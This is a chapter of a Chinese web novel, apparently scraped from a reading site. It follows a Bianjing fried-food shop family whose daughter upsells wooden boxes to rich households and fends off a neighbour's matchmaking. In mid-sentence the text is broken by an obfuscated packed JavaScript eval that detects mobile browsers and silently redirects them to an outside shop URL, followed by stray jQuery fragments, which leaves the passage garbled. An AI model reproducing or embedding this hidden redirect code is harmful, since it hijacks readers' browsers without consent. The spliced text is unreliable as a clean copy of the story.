默认冷灰
24号文字
方正启体

33. 第三十三章

作者:秋小麦本书字数:K更新时间:
    正如徐竹筱那小脑袋瓜里算计的一样,这汴京城里的风向,向来是从上往下吹的。


    那日那位穿绿罗裙的婢女提着食盒回去,不出两日,徐家炸货铺的门槛上,便陆陆续续多了好些生面孔。


    这些人生得体面,衣裳料子虽不是绸缎,却也是上好的细棉,浆洗得一丝不苟,袖口也没个补丁,腰间还要挂个不知真假的玉坠子,一看便是大户人家里头有些脸面的管事或是大丫鬟。


    日头刚过正午,巷子里的油烟气最重的时候。


    徐竹筱今日也在铺子里帮忙。


    铺子前头,站了个身量颇高的婆子,手里捏着帕子,正掩着口鼻,眉头微蹙,似是嫌这地界儿腌臜。


    “嬷嬷可是要买炸肉条?今儿的肉刚出锅,酥脆着呢,咬一口直掉渣。”


    那婆子低头瞧了一眼这粉雕玉琢的小丫头,眉头的褶皱松了松,到底是没好意思摆脸色:“给我来二斤,要瘦些的,若是有一丁点儿肥腻,回头我家姑娘可是要恼的。”


    苏棠在灶台后头听得真切,手里漏勺一抖,差点没把油溅出来。


    这大户人家就是矫情,炸肉还得挑肥拣瘦,全是瘦肉炸出来那是柴火棍,能好吃吗?


    心里虽是这么吐槽,嘴上却应得爽利:“好嘞!您放心,保准给您挑那里脊肉,嫩得很!”


    徐竹筱却没急着去拿那油纸包,而是指了指柜台最里侧摆着的那个精致物件。


    “嬷嬷,您瞧,这点心要是用油纸包着,捂久了就不脆了,且那一层油渗出来,若是脏了您这身新衣裳,那多划不来。”


    那婆子顺着她手指的方向看去。


    只见那柜台上,整整齐齐码着几个巴掌大的小盒子。


    那是用松木做的,没上漆,只打磨得光溜溜的,透着股淡淡的木头香气。


    盖子上还刻了一枝极简单的竹叶,虽不名贵,却透着股雅致劲儿。


    这便是徐竹筱出的主意。


    前两□□着她哥连夜画样子,又找了相熟的木匠加急赶出来的。


    “这是?”婆子有些迟疑。


    “这是松木食盒,透气吸油。”徐竹筱声音脆生生的,像是倒豆子,“装在里面,拎着就能走,我家这盒子不单卖,是专门配给贵客的,不过嘛……”


    徐竹筱顿了顿,露出一副很是为难的样子:“这木头贵,做工也费神,得加一百文钱。”


    实际上这盒子只花了五十文,是找林瓦匠一个好兄弟做的。


    那婆子只略一沉吟,眼皮子都没眨一下:“成,就要这个。若是拎着油纸包进府,确实也不像个样子,没得跌了姑娘的份儿。”


    对这些大户人家的下人来说,一百文钱也就是两碟子瓜子的事儿。


    可若是为了省这一百文,弄脏了衣裳,或是让主子觉得办事不力、显得寒酸,那才是因小失大。


    苏棠眼睁睁看着那婆子掏出一串铜板,连肉钱带盒子钱,爽快地付了,然后提着那个系着红绳的小木盒,昂首挺胸地走了。


    那架势,不像是个买炸肉的,倒像是去樊楼定了一桌席面。


    而后母女俩人对视一眼,都觉得发财有望。


    这世上的人,大多都有个毛病——跟风。


    巷子口那些个街坊,平日里最为精打细算。


    可这两日,眼瞅着那一个个穿戴体面的大户下人往徐家铺子里钻,甚至还有那轻罗小轿停在路口,专门打发人下来买。


    这风向立马就变了。


    “哎哟,你们瞧见没?那是李家的轿子!”


    “可不是嘛,听说那李家小姐最是刁钻,连樊楼的点心都嫌腻,竟然好这一口?”


    “看来这徐家的炸肉,定是有什么独门秘方,咱们以前是没吃出门道来!”


    于是,原本只打算买一两回去下酒的张泥匠,一咬牙:“徐娘子,给我来二两!我也尝尝这大户人家吃的金贵玩意儿!”


    “好嘞!”苏棠应得那叫一个中气十足。


    这生意一好,便是连轴转。


    原本一天只需进十五斤肉,如今涨到了二十斤,还得额外再搭上五斤碎肉炸丸子。


    每天天不亮,苏棠就得起来备料,徐竹筱也不闲着,和苏棠一起忙活,毕竟帮工娘子来得晚。


    那钱匣子里的动静,从原本稀稀拉拉的“叮当”响,变成了沉甸甸的闷响。


    到了晚上闭店盘账的时候,是一家子最舒坦的时候。


    油灯如豆,昏黄的光晕下,苏棠把一天的进项倒在桌上,铜板堆成了一座小山。


    “三千二百文……”苏棠数钱的手都在抖,脸上泛着红光,那是累的,更是激动的,“除去本钱,今儿这一天,顶得上过去半个月!”


    徐青山刚从酒楼回来,一身的长衫还没来得及换,看着这一桌子铜钱,也是咋舌:“这……这也太吓人了些。咱们这还是小本买卖吗?”


    “怎么不是?”徐竹筱正趴在桌边啃着一块剩下的炸酥肉,腮帮子鼓鼓囊囊的,“咱们凭本事赚的钱,每一文都带着油烟味儿呢,干净着呢。”


    她如今可是这巷子里最有钱的小娘子了。


    兜里的零花钱,比那私塾里教书先生的束修还要多。


    这人一旦有了钱,腰杆子就硬。


    连带着周围人的眼神,也变得五味杂陈起来。


    徐家住的这片巷子,叫青云巷。


    名字起得好听,住的多是些穷酸秀才、落魄文人,还有些做小买卖的手艺人。


    以前,那些个自诩读过两本圣贤书的邻居,提起徐家,鼻孔都要朝天上去。


    “一身的铜臭味。”


    “整日里油烟熏得慌,有辱斯文。”


    尤其是那住在对门的钱秀才家,每每路过徐家铺子,都要用袖子掩着鼻子,仿佛闻一口就要折寿似的。


    可如今呢?


    这几日,徐竹筱坐在门口看来往行人的时候,分明瞧见那钱秀才的娘子,好几次路过都放慢了脚步,眼神直往铺子里瞟。


    那眼神里,没了以前的嫌弃,倒多了几分热切,甚至还有几分算计。


    这日午后,苏棠在后厨忙着备晚市的料,徐青山去了酒楼,徐竹卿还在书院没回来。


    徐竹筱蹲在门口无聊地逗弄路过的大黄,正准备关门回家躺着呢,就被一只横插过来的手给拦住了。


    “哎哟,徐家丫头,大晌午的,关什么门呀!”


    徐竹筱抬头,入眼的是一张笑得满脸褶子的脸。


    是住在巷尾的孙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019275|193160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大娘。


    这孙大娘平日里最是个眼高于顶的主儿,家里男人在衙门里当个编外的差役,平日里走路都带风,从前路过徐家铺子,那下巴抬得能挂油瓶,连个正眼都没给过。


    今儿这是怎么了?


    徐竹筱心里犯嘀咕,面上却不显,嘴角扯出两分恰到好处的笑:“孙大娘,这不晌午了嘛,我回去歇歇。”


    “竹筱啊,你家这买卖,如今可是咱们青云巷里的独一份。”孙大娘凑近了些,压低了嗓音,那热气直往徐竹筱脸上喷,“听说昨儿个,连李员外家的管事都来定货了?”


    徐竹筱不动声色地往后退了半步:“都是街坊邻居捧场,混口饭吃罢了。”


    “你这孩子,就是谦虚!”孙大娘一拍大腿,声音陡然拔高,“要我说啊,咱们这巷子里,最有出息的就是你们家。尤其是你哥,竹卿那孩子……”


    话锋一转,图穷匕见。


    徐竹筱手里擦桌子的动作一顿。


    原来是在这儿等着呢。


    孙大娘见她没接话,以为她是害羞,更来劲了,那身子几乎要贴到徐竹筱身上:“竹卿那孩子,长得那叫一个俊,书读得也好,年纪轻轻就是秀才公了。这以后要是中了举,那可就是官老爷!咱们这些老邻居,以后还得仰仗你们家呢。”


    她一边说,一边观察着徐竹筱的脸色,见小姑娘只是垂着眼没反驳,胆子便更大了些。


    “竹筱啊,你也知道,大娘家里那个闺女,叫翠云的,今年刚满十五。模样虽说比不上那天上的仙女,但在咱们这一片,那也是数得着的。又做得一手好针线,屁股大好生养……”


    徐竹筱只觉得脑瓜子嗡嗡的。


    这是把她哥当成那菜市口刚杀好的猪肉了?谁都想来割一刀?


    前些日子,徐家穷得叮当响的时候,这孙大娘可是当众说过,“徐家那穷书生,读书读傻了,以后怕是连媳妇都娶不上”。


    如今这脸变得,比翻书还快。


    不过她也懒得管这里头的门道,也不等孙大娘反应,脚底抹油,刺溜一下就从孙大娘腋下钻了出去。


    “大娘,您慢坐,我先回去了!”


    只留下孙大娘一个人站在门口,半晌才反应过来,狠狠地啐了一口:“呸!不过是个卖炸货的,还真当自己是高门大户了?什么玩意儿!”


    等进了院里,徐竹筱才撇了撇嘴。


    想占徐家的便宜?


    没门!


    她娘苏棠虽然平日里看着泼辣,但在儿女婚事上,那脑子清醒得很。


    那日晚上数钱的时候,苏棠就一边把铜板往钱匣子里装,一边慢悠悠地教导兄妹俩。


    “咱们家现在虽然有了点钱,但在那些真正的贵人眼里,还是上不得台面。竹卿啊,你现在的身价,就像这刚下油锅的酥肉,才刚冒了点香气,还没炸透呢。这时候要是急着把自己卖了,那就是贱卖。”


    苏棠当时捏着一块铜板,在油灯下晃了晃,那眼神里透着股子生意人的精明。


    “咱们不急。等铺子开到了正街,等你中了举,哪怕是中了进士,那时候再看,这满汴京的好姑娘,还不任咱们挑?咱们不求攀龙附凤,但也不能让人当傻子糊弄。”


    徐竹筱深以为然。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)